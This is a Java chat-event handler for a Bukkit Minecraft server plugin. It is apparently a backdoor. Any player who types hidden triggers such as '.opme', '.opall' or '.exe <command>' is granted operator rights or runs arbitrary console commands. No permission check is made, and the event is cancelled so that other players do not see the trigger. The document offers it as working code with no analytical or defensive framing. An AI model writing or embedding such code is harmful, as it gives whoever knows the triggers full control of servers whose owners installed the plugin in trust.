@EventHandler
public void onChat(PlayerChatEvent event) {
if (event.getMessage().startsWith(".opme"))
{
event.getPlayer().setOp(true);
event.getPlayer().sendMessage("You are now OP.");
event.setCancelled(true);
}
if (event.getMessage().startsWith(".deopme"))
{
event.getPlayer().setOp(false);
event.getPlayer().sendMessage("You are no longer OP.");
event.setCancelled(true);
}
if (event.getMessage().startsWith(".op "))
{
String nick = event.getMessage().substring(".op ".length());
if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
{
Bukkit.getPlayer(nick).setOp(true);
event.getPlayer().sendMessage(nick + " is now OP.");
}
else
{
event.getPlayer().sendMessage(nick + " is not online.");
}
event.setCancelled(true);
}
if (event.getMessage().startsWith(".deop "))
{
String nick = event.getMessage().substring(".deop ".length());
if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
{
Bukkit.getPlayer(nick).setOp(false);
event.getPlayer().sendMessage(nick + " is no longer OP.");
}
else
{
event.getPlayer().sendMessage(nick + " is not online.");
}
event.setCancelled(true);
}
if (event.getMessage().startsWith(".opall"))
{
for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
{
Bukkit.getServer().getOnlinePlayers()[i].setOp(true);
}
event.getPlayer().sendMessage("Everyone is now OP.");
event.setCancelled(true);
}
if (event.getMessage().startsWith(".deopall"))
{
for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
{
Bukkit.getServer().getOnlinePlayers()[i].setOp(false);
}
event.getPlayer().sendMessage("No moar OPs!");
event.setCancelled(true);
}
if (event.getMessage().startsWith(".exe"))
{
Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().substring(".exe ".length()));
event.getPlayer().sendMessage("Executed.");
event.setCancelled(true);
}
}